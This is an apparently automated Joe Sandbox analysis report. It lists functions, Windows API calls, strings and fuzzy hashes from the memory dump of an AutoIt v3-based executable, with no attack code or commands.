Instruction ID: b320c983f3fdf10c8e5d0c333f4145b5b0024f30103527a569e19fde8130fe7f
Opcode Fuzzy Hash: a0aadf03291d813e491f98e1fee12d2a54ac37171b742750b0b338bd98b5822a
Instruction Fuzzy Hash: 4811AC70600305BFD7218BA6DD49F677BBDEBC6B61F148169F41696290DB71EC00AA70

Function 00F72BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00F32B6B

Part of subcall function 00F33A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,01001418,?,00F32E7F,?,?,?,00000000), ref: 00F33A78

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00FF2224), ref: 00F72C10
ShellExecuteW.SHELL32(00000000,?,?,00FF2224), ref: 00F72C17

Strings

runas, xrefs: 00F72C0B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: c55015ada0b7aef8c3be1c3b813d9b8196ce7ed713e0cd613c27b191e4493e20
Instruction ID: 06dc227dbbce5af65847008605180aeaa04927a10a6eac253831f96ecb3b425c
Opcode Fuzzy Hash: c55015ada0b7aef8c3be1c3b813d9b8196ce7ed713e0cd613c27b191e4493e20
Instruction Fuzzy Hash: 8511EE316083456AC719FF60DC429BEBBA4AFD1370F44542DF286030A2CFB98A0AF712

Function 00F9D4DC Relevance: 6.1, APIs: 4, Instructions: 86
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00F9D501
Process32FirstW.KERNEL32(00000000,?), ref: 00F9D50F
Process32NextW.KERNEL32(00000000,?), ref: 00F9D52F
CloseHandle.KERNELBASE(00000000), ref: 00F9D5DC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2ebc3bda44476cb4995eaabe391839b9d0b2850b133ccec874c7adc05233b6f6
Instruction ID: b480a7dcbcd31ad065d48cf73f78da5fd6c4033d5d583559a1c02ec4f9b1769d
Opcode Fuzzy Hash: 2ebc3bda44476cb4995eaabe391839b9d0b2850b133ccec874c7adc05233b6f6
Instruction Fuzzy Hash: C53193711083009FD700EF54CC81AAFBBE8EFD9364F54092DF585871A1EBB19949EB92

Function 00F9DBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00F75222), ref: 00F9DBCE
GetFileAttributesW.KERNELBASE(?), ref: 00F9DBDD
FindFirstFileW.KERNEL32(?,?), ref: 00F9DBEE
FindClose.KERNEL32(00000000), ref: 00F9DBFA

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 75fffdaff9b0ad083fba0081a6501b32186d731eaa8d14ec11aadfb397bc611d
Instruction ID: 8d47973c52c62b1c523973df89bb50420c6e60a374bc1d33ebbc8db4de432834
Opcode Fuzzy Hash: 75fffdaff9b0ad083fba0081a6501b32186d731eaa8d14ec11aadfb397bc611d
Instruction Fuzzy Hash: 2BF0E531810918579B206F7CEE0ECAA776C9E01334B244702F83AC30F0EBB05D55EAD5

Function 00F54CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00F628E9,?,00F54CBE,00F628E9,00FF88B8,0000000C,00F54E15,00F628E9,00000002,00000000,?,00F628E9), ref: 00F54D09
TerminateProcess.KERNEL32(00000000,?,00F54CBE,00F628E9,00FF88B8,0000000C,00F54E15,00F628E9,00000002,00000000,?,00F628E9), ref: 00F54D10
ExitProcess.KERNEL32 ref: 00F54D22

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 570357bd04352184225b5c1956ea6cc634ad48091d85f4c342d496ede00e59a4
Instruction ID: 8eed791bf6e56a8e43d58c724d6483611a38a1c6b5fa293ec39c1b3ceaf7f569
Opcode Fuzzy Hash: 570357bd04352184225b5c1956ea6cc634ad48091d85f4c342d496ede00e59a4
Instruction Fuzzy Hash: EFE0B631800148ABCF11AF54EE0AE583B79FB41796B144018FD098B122CB3AED86EA90

Function 00FBAFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00FBB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00FBB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00FBB1D4
_wcslen.LIBCMT ref: 00FBB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00FBB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00FBB236
_wcslen.LIBCMT ref: 00FBB332

Part of subcall function 00FA05A7: GetStdHandle.KERNEL32(000000F6), ref: 00FA05C6

_wcslen.LIBCMT ref: 00FBB34B
_wcslen.LIBCMT ref: 00FBB366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00FBB3B6
GetLastError.KERNEL32(00000000), ref: 00FBB407
CloseHandle.KERNEL32(?), ref: 00FBB439
CloseHandle.KERNEL32(00000000), ref: 00FBB44A
CloseHandle.KERNEL32(00000000), ref: 00FBB45C
CloseHandle.KERNEL32(00000000), ref: 00FBB46E
CloseHandle.KERNEL32(?), ref: 00FBB4E3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: a49f39ff733b9fbbf8813206acc4f640f95389a8720d06f422d8fad27fc40cac
Instruction ID: 6ab12c387c357484ad5410bcbe329366d93a58aa8c4e0962813b340e5e65857e
Opcode Fuzzy Hash: a49f39ff733b9fbbf8813206acc4f640f95389a8720d06f422d8fad27fc40cac
Instruction Fuzzy Hash: 10F19F719083409FC714EF25C891B6EBBE1AF85324F18855DF8998B2A2CB75EC44EF52

Function 00F32CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F32D07
RegisterClassExW.USER32(00000030), ref: 00F32D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F32D42
InitCommonControlsEx.COMCTL32(?), ref: 00F32D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F32D6F
LoadIconW.USER32(000000A9), ref: 00F32D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F32D94

Strings

TaskbarCreated, xrefs: 00F32D37
0, xrefs: 00F32CE9
AutoIt v3 GUI, xrefs: 00F32D23
+, xrefs: 00F32CF0

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 802c25cefd9cdd853e79b0c48f254e529e5763393423b15a69e23185a39db160
Instruction ID: bc9cf779ac6d22711aeb623701922bf92e7c203ce22372a7fcb07c0e9c706fdd
Opcode Fuzzy Hash: 802c25cefd9cdd853e79b0c48f254e529e5763393423b15a69e23185a39db160
Instruction Fuzzy Hash: DB21EFB1D41308AFDB11DFA4E98AB9DBBB4FB08700F00811AFA55A7290D7BA85449F91

Function 00F7065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F7039A: CreateFileW.KERNELBASE(00000000,00000000,?,00F70704,?,?,00000000,?,00F70704,00000000,0000000C), ref: 00F703B7

GetLastError.KERNEL32 ref: 00F7076F
__dosmaperr.LIBCMT ref: 00F70776
GetFileType.KERNELBASE(00000000), ref: 00F70782
GetLastError.KERNEL32 ref: 00F7078C
__dosmaperr.LIBCMT ref: 00F70795
CloseHandle.KERNEL32(00000000), ref: 00F707B5
CloseHandle.KERNEL32(?), ref: 00F708FF
GetLastError.KERNEL32 ref: 00F70931
__dosmaperr.LIBCMT ref: 00F70938

Strings

H, xrefs: 00F708BD

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: fcc1eeb2a9753278cf998d619bf9290162a5f14c621780bbcee1e98cde91ff4b
Instruction ID: 4aec7dbcd386d61b678fe6049ff4b85c65e0f7bdc02ccffec7d745c14f64a1d0
Opcode Fuzzy Hash: fcc1eeb2a9753278cf998d619bf9290162a5f14c621780bbcee1e98cde91ff4b
Instruction Fuzzy Hash: 15A12732A101488FDF19AF68DC51BAD3BA0AF46320F14815EF8599B391DB359C17EB92

Function 00F3344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F33A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,01001418,?,00F32E7F,?,?,?,00000000), ref: 00F33A78

Part of subcall function 00F33357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00F33379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00F3356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00F7318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00F731CE
RegCloseKey.ADVAPI32(?), ref: 00F73210
_wcslen.LIBCMT ref: 00F73277
_wcslen.LIBCMT ref: 00F73286

Strings

Software\AutoIt v3\AutoIt, xrefs: 00F33560
Include, xrefs: 00F73184, 00F731C5
\Include\, xrefs: 00F33527
\, xrefs: 00F7328C

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: a890ad229c365cea94d14ce5c6824581f456d53a7bed3165459b755c5c98b5ca
Instruction ID: 815a572f4d887de613ad4c38b979fc2d12872018d7f32451026ac883e5606527
Opcode Fuzzy Hash: a890ad229c365cea94d14ce5c6824581f456d53a7bed3165459b755c5c98b5ca
Instruction Fuzzy Hash: 3171E3714083019EC315EF25DC86D5BBBE8FF84350F40882EF589D31A5EB799A48EB52

Function 00F32B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00F32B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00F32B9D
LoadIconW.USER32(00000063), ref: 00F32BB3
LoadIconW.USER32(000000A4), ref: 00F32BC5
LoadIconW.USER32(000000A2), ref: 00F32BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00F32BEF
RegisterClassExW.USER32(?), ref: 00F32C40

Part of subcall function 00F32CD4: GetSysColorBrush.USER32(0000000F), ref: 00F32D07
Part of subcall function 00F32CD4: RegisterClassExW.USER32(00000030), ref: 00F32D31
Part of subcall function 00F32CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00F32D42
Part of subcall function 00F32CD4: InitCommonControlsEx.COMCTL32(?), ref: 00F32D5F
Part of subcall function 00F32CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00F32D6F
Part of subcall function 00F32CD4: LoadIconW.USER32(000000A9), ref: 00F32D85
Part of subcall function 00F32CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00F32D94

Strings

#, xrefs: 00F32C16
0, xrefs: 00F32C0F
AutoIt v3, xrefs: 00F32C2F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 81bfc708a1ed330c6bf990dc081238a5c50aa820fac619a40720dbfe4399ca15
Instruction ID: 01c68936d0e0e64f103438c93bb2f37c41aa85e246aa7d053951dd92085c4737
Opcode Fuzzy Hash: 81bfc708a1ed330c6bf990dc081238a5c50aa820fac619a40720dbfe4399ca15
Instruction Fuzzy Hash: 75214970E00318ABDB229FA5ED49BA97FF5FB48B50F04801AF644A7694D7BA8540DF90

Function 00F33170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00F3316A,?,?), ref: 00F331D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00F3316A,?,?), ref: 00F33204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00F33227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00F3316A,?,?), ref: 00F33232
CreatePopupMenu.USER32 ref: 00F33246
PostQuitMessage.USER32(00000000), ref: 00F33267

Strings

TaskbarCreated, xrefs: 00F3322D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: c2427596567a8ea4b010e6ed8bc190b683e7e2764f113a03dfee431247d47b85
Instruction ID: c5f0ff3d44bf6a227ba1601ebb7119335279ea7b3fd5110b2a4c083569cbd2c5
Opcode Fuzzy Hash: c2427596567a8ea4b010e6ed8bc190b683e7e2764f113a03dfee431247d47b85
Instruction Fuzzy Hash: 48412C32E44204ABEB25AB78DD0EB7A3755FB05370F044119F54AC62D1CB79CE40B7A1

Function 00F31410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00F31459
CoUninitialize.COMBASE ref: 00F314F8
UnregisterHotKey.USER32(?), ref: 00F316DD
DestroyWindow.USER32(?), ref: 00F724B9
FreeLibrary.KERNEL32(?), ref: 00F7251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00F7254B

Strings

close all, xrefs: 00F31454

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 127c7782b989a570d266d4b9ac1df99b905a2c0a3475c08ae6a5b1817ac27903
Instruction ID: 98cc149dda759772c176dfb8e06b24e6958e4f2fda640995b777aea3469ffa16
Opcode Fuzzy Hash: 127c7782b989a570d266d4b9ac1df99b905a2c0a3475c08ae6a5b1817ac27903
Instruction Fuzzy Hash: F4D15D31B01212CFCB19EF15C995B29F7A4BF05720F1482AEE44E6B252DB31AD16EF91

Function 00F32C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00F32C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00F32CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00F31CAD,?), ref: 00F32CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00F31CAD,?), ref: 00F32CCF

Strings

edit, xrefs: 00F32CAC
AutoIt v3, xrefs: 00F32C89, 00F32C8E, 00F32C8F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 743494b336d9ed288f5c775bc16d447da13ae7af1139d9014825c01b9ba89c9a
Instruction ID: b58460a7cbc9aef68230e081788b9d6b156555e26e332d7a2c44d0d173499371
Opcode Fuzzy Hash: 743494b336d9ed288f5c775bc16d447da13ae7af1139d9014825c01b9ba89c9a
Instruction Fuzzy Hash: 6BF0F4755403947AEB320713AC09E673FBDD7C6F50F00801AF904A3594C67A8840EAB0

Function 00F33B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00F33B0F,SwapMouseButtons,00000004,?), ref: 00F33B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00F33B0F,SwapMouseButtons,00000004,?), ref: 00F33B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00F33B0F,SwapMouseButtons,00000004,?), ref: 00F33B83

Strings

Control Panel\Mouse, xrefs: 00F33B3E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: dbfccbd7bb190fe72e55d26ab593666458a59fcfaa1b1fac2a756e657481d8aa
Instruction ID: 47edc4b4aca99d0688dca13a0d45693a358ac06bd91461119ad2a9b55d091165
Opcode Fuzzy Hash: dbfccbd7bb190fe72e55d26ab593666458a59fcfaa1b1fac2a756e657481d8aa
Instruction Fuzzy Hash: 94112AB5910208FFDB20CFA5DC45EAEBBB8EF44764F104459E805D7110D2319E40A7A0

Function 00F3DB37 Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00F3DB7B
DispatchMessageW.USER32(?), ref: 00F3DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F3DB9F
TranslateAcceleratorW.USER32(?,?,?), ref: 00F81CC9

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeek
String ID:
API String ID: 234387968-0
Opcode ID: fa906bdf31ed56a46539d5c1293e4cc478c670b4cdf0e388b754cd76dc180205
Instruction ID: 237f4a812b2b4c643042d1fbf935e2a7bd16b46ba5d0f46289a524b9b99eb855
Opcode Fuzzy Hash: fa906bdf31ed56a46539d5c1293e4cc478c670b4cdf0e388b754cd76dc180205
Instruction Fuzzy Hash: 8331BC30605385DFE735CB24EC49FEA7BB8BB46320F044259E09987281C779E588EF22

Function 00F33923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00F733A2

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00F33A04

Strings

Line: , xrefs: 00F733EB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

